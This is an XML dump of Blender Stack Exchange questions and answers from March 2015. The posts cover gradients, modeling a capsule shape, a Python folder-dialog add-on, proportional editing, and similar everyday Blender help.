  <row Id="26889" PostTypeId="1" CreationDate="2015-03-09T22:30:43.223" Score="7" ViewCount="3914" Body="&lt;p&gt;I have a gradient on a cube with a color ramp. In the picture below you can see the color ramp is repeated just once. I would like to find a way how to repeat it 5 or 10 times. I could do this on the color ramp it self of course, but I prefer to it with a node setup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Dwpq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After repeating the gradient, it should look something like this, a multiple loop of a color ramp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QBZKY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12908" LastEditorUserId="3710" LastEditDate="2015-03-10T03:46:40.917" LastActivityDate="2015-03-10T03:46:40.917" Title="How do I repeat a gradient color ramp?" Tags="&lt;materials&gt;&lt;uv&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26890" PostTypeId="1" CreationDate="2015-03-09T22:33:35.487" Score="15" ViewCount="15005" Body="&lt;p&gt;Is there any easy way to make a basic shape that looks something like this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rVFp6.jpg&quot; alt=&quot;stockphoto crop&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13024" LastEditorUserId="47" LastEditDate="2015-09-16T07:10:02.207" LastActivityDate="2015-09-16T07:10:02.207" Title="How can I make a pill shape? (capsule)" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26892" PostTypeId="2" ParentId="26890" CreationDate="2015-03-09T22:39:09.793" Score="22" Body="&lt;p&gt;Yes, you can do it in a few steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(updated as per PG math's advice)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a sphere &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;em&gt;Mesh&lt;/em&gt;&gt;&lt;em&gt;Sphere&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enter edit mode &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the shading to smooth&lt;/li&gt;&#xA;&lt;li&gt;Grab one end, including the middle loop (use &lt;kbd&gt;Numpad 3&lt;/kbd&gt; to go into side view and &lt;kbd&gt;Z&lt;/kbd&gt; to be able to select vertices on the other side. Then hit &lt;kbd&gt;B&lt;/kbd&gt; for box select to get everything except the middle loop.)&lt;/li&gt;&#xA;&lt;li&gt;extrude it up using &lt;kbd&gt;E&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/og6Ew.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/og6Ew.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UecIn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/90/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=90&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bonus:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to add the ridge:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;RMB&lt;/kbd&gt; to select the desired loop, you'll have to do this twice, once for each side.&lt;/li&gt;&#xA;&lt;li&gt;Deselect the vertices at the ends of the pill&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;B&lt;/kbd&gt; to bevel the edges, make it a very very small bevel&lt;/li&gt;&#xA;&lt;li&gt;in the &lt;kbd&gt;F6&lt;/kbd&gt; menu, set the number of cuts to 3.&lt;/li&gt;&#xA;&lt;li&gt;Select the middle cut and scale it out a bit, use &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add loop cuts to the edges loops around the edge to help keep the smooth shading correct.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-09-15T14:22:02.060" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26893" PostTypeId="1" CreationDate="2015-03-09T22:57:21.557" Score="0" ViewCount="416" Body="&lt;p&gt;I'm trying to create a traffic light in blender, I assigned all the needed materials(3 colors), I created animation for each color, but in the Dope Sheet Window, when I choose Action Editor there is no any actions.  And when I exported the object as fbx and imported to Unity the animated colors doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions? Thank you very much&lt;/p&gt;&#xA;" OwnerUserId="13072" LastActivityDate="2015-04-08T23:39:47.343" Title="How to add an action to a material?" Tags="&lt;animation&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26894" PostTypeId="2" ParentId="26893" CreationDate="2015-03-09T23:04:35.890" Score="1" Body="&lt;p&gt;I am not sure about material action support in unity, however I am pretty sure you can use a UV animation,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just move the lights face to a copy of the face lit up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://answers.unity3d.com/questions/19848/making-textures-scroll-animate-textures.html&quot; rel=&quot;nofollow&quot;&gt;http://answers.unity3d.com/questions/19848/making-textures-scroll-animate-textures.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you just need the 'lit up' texture face in the uv sheet for each color.&lt;/p&gt;&#xA;" OwnerUserId="13034" LastActivityDate="2015-03-09T23:04:35.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26895" PostTypeId="1" AcceptedAnswerId="26897" CreationDate="2015-03-09T23:13:05.230" Score="1" ViewCount="264" Body="&lt;p&gt;i have set a gradient with a colorramp on a cube , as you can see in the picture.&#xA;what we see is that the gradient is exactly in the middle of the object.&#xA;i want to add an offset node. so that the gradient will show up at another point on the object.&#xA; for example the complete white part would now be in the middle. &#xA; or the black part would be in the middle , in stead of having the black part all the way to one side now. &#xA;how can i do this the best way ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MX09X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12908" LastActivityDate="2015-03-09T23:20:09.913" Title="how can i offset a gradient in a colorramp" Tags="&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26896" PostTypeId="2" ParentId="26889" CreationDate="2015-03-09T23:18:12.867" Score="9" Body="&lt;p&gt;You can use a &lt;em&gt;Color Ramp&lt;/em&gt; node and a &lt;em&gt;Modulo&lt;/em&gt; converter node to achieve this result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up your nodes like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UzLDu.jpg&quot; alt=&quot;Gradient Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E4BEr.jpg&quot; alt=&quot;Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are doing is you are making the &lt;em&gt;Color Ramp&lt;/em&gt; node tell what color, and then you are mapping it using the &lt;em&gt;Mapping&lt;/em&gt; node, and repeating it with the &lt;em&gt;Modulo&lt;/em&gt; node. This makes it fully editable, you can change the color ramp, and the resulting texture will repeat endlessly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pFQOw.gif&quot; alt=&quot;Editability GIF&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-03-09T23:31:56.777" LastActivityDate="2015-03-09T23:31:56.777" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="26897" PostTypeId="2" ParentId="26895" CreationDate="2015-03-09T23:20:09.913" Score="1" Body="&lt;p&gt;You can use the the &lt;strong&gt;Mapping Node&lt;/strong&gt;, add it with &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;em&gt;Vector&lt;/em&gt;&gt;&lt;em&gt;Mapping&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ADtZF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You edit the location to move it. You may have to try negative values.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-03-09T23:20:09.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26898" PostTypeId="1" AcceptedAnswerId="26906" CreationDate="2015-03-09T23:31:44.303" Score="11" ViewCount="7161" Body="&lt;p&gt;So I need to allow the user of my script to choose a directory that contains images, and then run my script on each image. I already have my script made &lt;a href=&quot;https://github.com/MrSprite/pixel-maker&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. I looked at &lt;a href=&quot;https://blender.stackexchange.com/questions/14738/use-filemanager-to-select-directory-instead-of-file&quot;&gt;this question&lt;/a&gt; already, but that is about &lt;em&gt;exporting&lt;/em&gt;, not &lt;em&gt;importing&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OyrQV.png&quot; alt=&quot;![image.. yep](https://db.tt/PTsp3q6C)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And should allow the user to choose the directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5505" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2019-08-15T08:28:01.933" Title="How to create a Folder Dialog?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;file-browser&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26899" PostTypeId="1" AcceptedAnswerId="26900" CreationDate="2015-03-09T23:33:47.970" Score="6" ViewCount="92" Body="&lt;p&gt;I sometimes accidentally protractify a measurement when using the ruler/protractor tool. Pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; does nothing (I guess being a model operator it doesn't have undo implemented). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to tell a given measurement line to go back to measuring distance and not angle?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-03-09T23:55:28.503" Title="Is there a way to &quot;unprotractor&quot; a mesurement with the ruler/protractor tool?" Tags="&lt;interface&gt;&lt;workflow&gt;&lt;units&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26900" PostTypeId="2" ParentId="26899" CreationDate="2015-03-09T23:44:16.767" Score="8" Body="&lt;p&gt;Grab the angle point, and drag it out of the viewport window, and release. This will make it go back into measurement mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bK1Yo.gif&quot; alt=&quot;Protractor Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-03-09T23:55:28.503" LastActivityDate="2015-03-09T23:55:28.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26901" PostTypeId="1" CreationDate="2015-03-10T01:00:11.047" Score="6" ViewCount="6518" Body="&lt;p&gt;Im trying to use Proportional Editing.&#xA;I don't have a 3 button mouse.&#xA;Is there a way to modify the field of influence without having a scroll wheel?&#xA;I already have &quot;emulate 3 button mouse&quot; and &quot;emulate num pad&quot; turned on.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update: Turns out, the Apple Magic Mouse that Im using does allow a scroll function if you swipe it down the middle. So I am able to get the functionality I am after. Thanks everyone for your suggestions.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="11124" LastEditorUserId="55" LastEditDate="2015-03-10T14:03:44.533" LastActivityDate="2020-04-14T10:10:53.507" Title="Can you scale the scope of the Proportional Editing without a 3 button mouse?" Tags="&lt;editing&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26902" PostTypeId="2" ParentId="26901" CreationDate="2015-03-10T01:03:39.843" Score="12" Body="&lt;p&gt;Use the &lt;kbd&gt;Page Up&lt;/kbd&gt; and &lt;kbd&gt;Page Down&lt;/kbd&gt; keys to adjust the circle of influence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wthtv.gif&quot; alt=&quot;Proportional Edit&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-03-10T01:03:39.843" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26903" PostTypeId="2" ParentId="26901" CreationDate="2015-03-10T01:04:13.877" Score="4" Body="&lt;p&gt;There is a workaround, but it isn't terribly convenient:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you've completed the action, in the tool operator, which can be found in the tool bar &lt;kbd&gt;T&lt;/kbd&gt; or by hitting &lt;kbd&gt;F6&lt;/kbd&gt;, you can change the Proportional size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Oiiw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-03-10T01:04:13.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26904" PostTypeId="1" CreationDate="2015-03-10T02:31:20.133" Score="0" ViewCount="336" Body="&lt;p&gt;There are some animation in my .blend and there is no armature in it. So the animation in it is not skeletal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &quot;OgreDotScene Exporter&quot; tool and NLA Hijacking to export my .blend into .mesh and .scene for Ogre using. But what I got is just .mesh.xml(can convert to .mesh) that not included animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dose the &quot;OgreDotScene Exporter&quot; tool can only export skeletal animations? How can I export my animation mentioned above?&lt;/p&gt;&#xA;" OwnerUserId="13073" LastEditorUserId="13073" LastEditDate="2015-03-10T09:02:32.753" LastActivityDate="2015-03-10T09:02:32.753" Title="Can not export animation that is not skeletal animation to Ogre" Tags="&lt;animation&gt;&lt;export&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26905" PostTypeId="2" ParentId="26869" CreationDate="2015-03-10T04:00:55.113" Score="3" Body="&lt;p&gt;There are a few ways to model from reality data these days. Generating meshes from scans/photos (photogrammetry) and modelling on top of such data, is an alternative workflow you might want to try out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;check out &lt;a href=&quot;http://memento.autodesk.com/about&quot; rel=&quot;nofollow&quot;&gt;http://memento.autodesk.com/about&lt;/a&gt; .. may be you'll find it useful!&lt;/p&gt;&#xA;" OwnerUserId="13074" LastActivityDate="2015-03-10T04:00:55.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26906" PostTypeId="2" ParentId="26898" CreationDate="2015-03-10T05:00:01.060" Score="18" Body="&lt;p&gt;For directories or file paths on any panel it's key using a &lt;a href=&quot;https://docs.blender.org/api/current/bpy.props.html#bpy.props.StringProperty&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;StringProperty&lt;/strong&gt;&lt;/a&gt;. In order to get a &lt;strong&gt;File Dialog&lt;/strong&gt; instead of a &lt;strong&gt;Folder Dialog&lt;/strong&gt;, set its &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.Property.html#bpy.types.Property.subtype&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;subtype&lt;/code&gt;&lt;/a&gt; from &lt;code&gt;DIR_PATH&lt;/code&gt; to &lt;code&gt;FILE_PATH&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;path = StringProperty(&#xA;        name = &quot;&quot;,&#xA;        description=&quot;Choose a directory:&quot;,&#xA;        default=&quot;&quot;,&#xA;        maxlen=1024,&#xA;        subtype='DIR_PATH')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As of Blender 2.8x &lt;em&gt;properties&lt;/em&gt; should be assigned using a single colon &lt;code&gt;:&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;path : StringProperty(&#xA;        name = &quot;&quot;,&#xA;        description=&quot;Choose a directory:&quot;,&#xA;        ...&#xA;        subtype='DIR_PATH')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Following example adds a &lt;strong&gt;Folder Dialog&lt;/strong&gt; to the &lt;em&gt;Tool Shelf&lt;/em&gt; and prints the path to the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SWTLB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Blender 2.8x Update&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;from bpy.props import (StringProperty,&#xA;                       PointerProperty,&#xA;                       )&#xA;&#xA;from bpy.types import (Panel,&#xA;                       Operator,&#xA;                       AddonPreferences,&#xA;                       PropertyGroup,&#xA;                       )&#xA;&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    Scene Properties&#xA;# ------------------------------------------------------------------------&#xA;&#xA;class MyProperties(PropertyGroup):&#xA;&#xA;    path : StringProperty(&#xA;        name=&quot;&quot;,&#xA;        description=&quot;Path to Directory&quot;,&#xA;        default=&quot;&quot;,&#xA;        maxlen=1024,&#xA;        subtype='DIR_PATH')&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    Panel in Object Mode&#xA;# ------------------------------------------------------------------------&#xA;&#xA;class OBJECT_PT_CustomPanel(Panel):&#xA;    bl_idname = &quot;OBJECT_PT_my_panel&quot;&#xA;    bl_label = &quot;My Panel&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;   &#xA;    bl_region_type = &quot;UI&quot;&#xA;    bl_category = &quot;Tools&quot;&#xA;    bl_context = &quot;objectmode&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scn = context.scene&#xA;        col = layout.column(align=True)&#xA;        col.prop(scn.my_tool, &quot;path&quot;, text=&quot;&quot;)&#xA;&#xA;        # print the path to the console&#xA;        print (scn.my_tool.path)&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    Registration&#xA;# ------------------------------------------------------------------------&#xA;&#xA;classes = (&#xA;    MyProperties,&#xA;    OBJECT_PT_CustomPanel&#xA;)&#xA;&#xA;def register():&#xA;    from bpy.utils import register_class&#xA;    for cls in classes:&#xA;        register_class(cls)&#xA;&#xA;    bpy.types.Scene.my_tool = PointerProperty(type=MyProperties)&#xA;&#xA;def unregister():&#xA;    from bpy.utils import unregister_class&#xA;    for cls in reversed(classes):&#xA;        unregister_class(cls)&#xA;    del bpy.types.Scene.my_tool&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Blender 2.7x&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;from bpy.props import (StringProperty,&#xA;                       PointerProperty,&#xA;                       )&#xA;&#xA;from bpy.types import (Panel,&#xA;                       Operator,&#xA;                       AddonPreferences,&#xA;                       PropertyGroup,&#xA;                       )&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    UI (settings Class, Panel in Object Mode)&#xA;# ------------------------------------------------------------------------&#xA;&#xA;class MySettings(PropertyGroup):&#xA;&#xA;    path = StringProperty(&#xA;        name=&quot;&quot;,&#xA;        description=&quot;Path to Directory&quot;,&#xA;        default=&quot;&quot;,&#xA;        maxlen=1024,&#xA;        subtype='DIR_PATH')&#xA;&#xA;class OBJECT_PT_my_panel(Panel):&#xA;    bl_idname = &quot;OBJECT_PT_my_panel&quot;&#xA;    bl_label = &quot;My Tool&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    bl_category = &quot;Tools&quot;&#xA;    bl_context = &quot;objectmode&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scn = context.scene&#xA;        col = layout.column(align=True)&#xA;        col.prop(scn.my_tool, &quot;path&quot;, text=&quot;&quot;)&#xA;&#xA;        # print the path to the console&#xA;        print (scn.my_tool.path)&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    Registration&#xA;# ------------------------------------------------------------------------&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.my_tool = PointerProperty(type=MySettings)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Scene.my_tool&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To collect all images in a folder use &lt;a href=&quot;https://docs.python.org/3.3/library/os.html#os.listdir&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;os.listdir()&lt;/code&gt;&lt;/a&gt; to return a list containing the files in the folder and make sure that the &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_file_formats#Raster_graphics&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;file type&lt;/strong&gt;&lt;/a&gt; is correct. Simplest way is using a &lt;a href=&quot;https://docs.python.org/3.4/tutorial/datastructures.html#list-comprehensions&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;list comprehension&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;&#xA;# path to the folder&#xA;path = '/home/user/Desktop/'&#xA;&#xA;# collect all OpenExr files&#xA;exr_list = [f for f in os.listdir(path) if f.endswith('.exr')] &#xA;&#xA;# iterate through the list&#xA;for i in exr_list:&#xA;    print(os.path.join(path,i))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For more details about &lt;em&gt;Property Appearance&lt;/em&gt; as well as on how to create &lt;em&gt;Custom Interfaces&lt;/em&gt;, have a look into: &lt;a href=&quot;https://blender.stackexchange.com/a/57332/3710&quot;&gt;&lt;strong&gt;How to create a custom UI?&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2019-08-15T08:28:01.933" LastActivityDate="2019-08-15T08:28:01.933" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26907" PostTypeId="1" CreationDate="2015-03-10T08:06:26.333" Score="2" ViewCount="292" Body="&lt;p&gt;i would like to reassign general confirm function from the &quot;Enter: key to something else. My setup is setup in the way, that i cant reach right side of keyboard because it covered with my graphic tablet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I reassigned most hotkeys i use to the left side of the keyboard, but i can't find how to reassign general confirm function from &quot;Enter&quot; to another key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="12973" LastActivityDate="2015-04-09T11:52:51.947" Title="How to reassign general confirm function from &quot;Enter&quot; key?" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26910" PostTypeId="1" AcceptedAnswerId="26919" CreationDate="2015-03-10T08:44:10.837" Score="1" ViewCount="673" Body="&lt;p&gt;I want to accelerate the speed of a video and decelerate some seconds before it ends. I wonder if it's possible to do it into the video editing.&#xA;I know how to increase the speed of a strip but, what I need is a trasition between normal speed and fast speed. &lt;/p&gt;&#xA;" OwnerUserId="13080" LastEditorUserId="30849" LastEditDate="2019-04-23T09:47:03.517" LastActivityDate="2019-04-23T09:47:03.517" Title="Is it possible to animate the speed of a strip?" Tags="&lt;video-sequence-editor&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26911" PostTypeId="1" AcceptedAnswerId="26920" CreationDate="2015-03-10T09:07:56.697" Score="0" ViewCount="1278" Body="&lt;p&gt;I'm trying my hand at 3d printing with blender. Right now I want to create an object that has a 3d curve - so it's essentially a horizontally placed cylinder curved around the Y axis on the whole object, and then curved along the Z axis for the last third of the object. I've found I can model exactly what I want by creating a curved path, then extruding a circle along the path. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I haven't found a way to 'apply' this transform so that my 2 objects become one editable object where I can close off the faces and select and edit nodes. Can anyone tell me of a way to do this? I also tried having a straight cylinder object and applying the curve modifier, but found that only worked along one axis, and attempting to use 2 curve modifiers on the same object gave funny results.&lt;/p&gt;&#xA;" OwnerUserId="13081" LastActivityDate="2015-03-10T19:19:20.957" Title="Make an extruded circle along a path into a solid object" Tags="&lt;mesh&gt;&lt;transforms&gt;&lt;3d-printing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26912" PostTypeId="2" ParentId="26826" CreationDate="2015-03-10T09:22:50.190" Score="1" Body="&lt;p&gt;Firstly I'd like to thank you both very much for spending the time reading my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I continued to blunder around trying to solve my problem when I had a light bulb moment and noticed that in the 'sampling' section of the render panel it was set at  Render :10 and Preview:10,  obviously the default setting! And being new to blender I hadn't noticed. Anyway, I whacked up the Render value to 100, then 500 &amp;amp; finally 1000 and low &amp;amp; behold I got the razor sharp image I wanted, and spent the rest of the day feeling very pleased with myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is a case of self help, but thank you so much for reading my question!       &lt;/p&gt;&#xA;" OwnerUserId="13055" LastActivityDate="2015-03-10T09:22:50.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26913" PostTypeId="1" CreationDate="2015-03-10T09:49:06.547" Score="1" ViewCount="45" Body="&lt;p&gt;I cant understand the reason why this two vertexes move like if they are linked.&#xA;If I move one, the other moves too in a different direction, if I change the weight of one, weight of the other changes to opposite.&#xA;Please, someone, help to fix this!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FiPCG.pngfile:///home/lobzik/%D0%A0%D0%90%D0%91%D0%9E%D0%A7%D0%90%D0%AF/MODELS%20&amp;amp;%20RENDERS/%D0%A6%D0%95%D0%9D%D0%A2%D0%A0%20%D0%9E%D0%9A%D0%95%D0%90%D0%9D%D0%9E%D0%93%D0%A0%D0%90%D0%A4%D0%98%D0%98/problem.blend&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13082" LastEditorUserId="13082" LastEditDate="2015-03-10T10:30:06.363" LastActivityDate="2015-03-10T11:13:44.523" Title="How to fix strange behavior of vertexes? (picture)" Tags="&lt;mesh&gt;&lt;rigging&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="26915" PostTypeId="2" ParentId="26870" CreationDate="2015-03-10T11:06:05.147" Score="1" Body="&lt;p&gt;With the armature selected in object mode, apply the scale - &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt;Apply Scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in edit mode select the all bones, ensure there aren't hidden bones on other layers, and scale -1 on the x axis - &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in pose mode the bones should effect the correct side.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-10T11:06:05.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
